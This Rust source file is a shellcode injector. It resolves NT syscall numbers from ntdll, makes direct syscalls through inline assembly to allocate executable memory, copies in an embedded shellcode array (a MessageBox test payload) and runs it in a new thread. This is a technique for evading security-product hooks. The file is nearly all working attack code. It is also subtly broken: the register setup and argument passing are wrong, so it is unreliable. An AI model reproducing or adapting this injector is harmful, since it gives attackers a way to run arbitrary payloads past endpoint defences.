use std::arch::asm;
use std::ptr::null_mut;
use std::ffi::CString;
use winapi::um::{
    handleapi::CloseHandle,
    libloaderapi::{GetModuleHandleA, GetProcAddress},
    winnt::HANDLE
};

// Inline assembly is used for performing syscalls. Requires Rust nightly with inline assembly enabled.
// Add `#![feature(asm)]` at the top of the file.

fn resolve_syscall(function_name: &str) -> (u8, usize) {
    // Load the ntdll.dll module
    unsafe{
        let h_ntdll = GetModuleHandleA(CString::new("ntdll.dll").unwrap().as_ptr());
        if h_ntdll.is_null() {
            panic!("Failed to get handle for ntdll.dll");
        }

        let func_addr = GetProcAddress(h_ntdll, CString::new(function_name).unwrap().as_ptr());
        if func_addr.is_null() {
            panic!("Failed to get address for {}", function_name);
        }

        // Extract the syscall number (typically at offset +4 from the function address)
        let syscall_number = *(func_addr.add(4) as *const u8);

        // Determine the syscall stub address (offset +0x12 is a common location for the syscall instruction)
        let syscall_stub = func_addr as usize + 0x12;

        (syscall_number, syscall_stub)
    }

}

/// Perform a syscall manually using inline assembly
unsafe fn perform_syscall(syscall_number: u8, args: &[usize]) -> usize {
    let result: usize;
    // Inline assembly for x86_64 architecture
    
    asm!(
        "mov r10, rdx", // Syscalls on Windows use r10 as an additional argument
        "syscall",      // Perform the syscall
        in("rax") syscall_number as usize, // Set syscall number in rax
        in("rcx") args[0],                 // rcx: First argument
        in("rdx") args[1],                 // rdx: Second argument
        in("r8") args[2],                  // r8: Third argument
        in("r9") args[3],                  // r9: Fourth argument
        lateout("rax") result,                 // Store syscall result in rax
        options(nostack)                   // Indicate no stack adjustments
    );
    result
}

pub fn inject_shellcode() {
    // Resolve syscalls
    let (alloc_syscall, alloc_stub) = resolve_syscall("NtAllocateVirtualMemory");
    let (write_syscall, write_stub) = resolve_syscall("NtWriteVirtualMemory");
    let (create_syscall, create_stub) = resolve_syscall("NtCreateThreadEx");

    // Allocate memory
    let mut alloc_address: *mut u8 = null_mut();
    let alloc_size = 0x1000;
    unsafe {
        perform_syscall(
            alloc_syscall,
            &[
                -1isize as usize,            // Current process
                &mut alloc_address as *mut _ as usize, // Allocated address
                0,                          // Zero bits
                alloc_size,                 // Allocation size
                0x1000 | 0x2000,   // Allocation type
                0x40,     // Protection
            ],
        );
    }

    // Define shellcode
    let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
    0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
    0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
    0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
    0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
    0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
    0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
    0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
    0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
    0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
    0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
    0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
    0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
    0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
    0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
    0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
    0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
    0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
    0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
    0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
    0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
    0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00];

    // Write shellcode into allocated memory
    let mut bytes_written = 0;
    unsafe {
        perform_syscall(
            write_syscall,
            &[
                -1isize as usize,              // Current process
                alloc_address as usize,       // Target address
                shellcode.as_ptr() as usize,  // Shellcode buffer
                shellcode.len(),              // Buffer length
                &mut bytes_written as *mut _ as usize, // Bytes written
            ],
        );
    }

    // Create remote thread to execute the shellcode
    let mut h_thread: HANDLE = null_mut();
    unsafe {
        perform_syscall(
            create_syscall,
            &[
                &mut h_thread as *mut _ as usize, // Handle to new thread
                0x1fffff,                         // Desired access
                0,                       // Object attributes
                -1isize as usize,                 // Target process
                alloc_address as usize,           // Start address
                0,                       // Start parameter
                0,                                // Create suspended
                0, 0, 0, 0                        // Extra arguments
            ],
        );
    }

    // Wait for thread execution (simplified)
    unsafe {
        CloseHandle(h_thread);
    }
}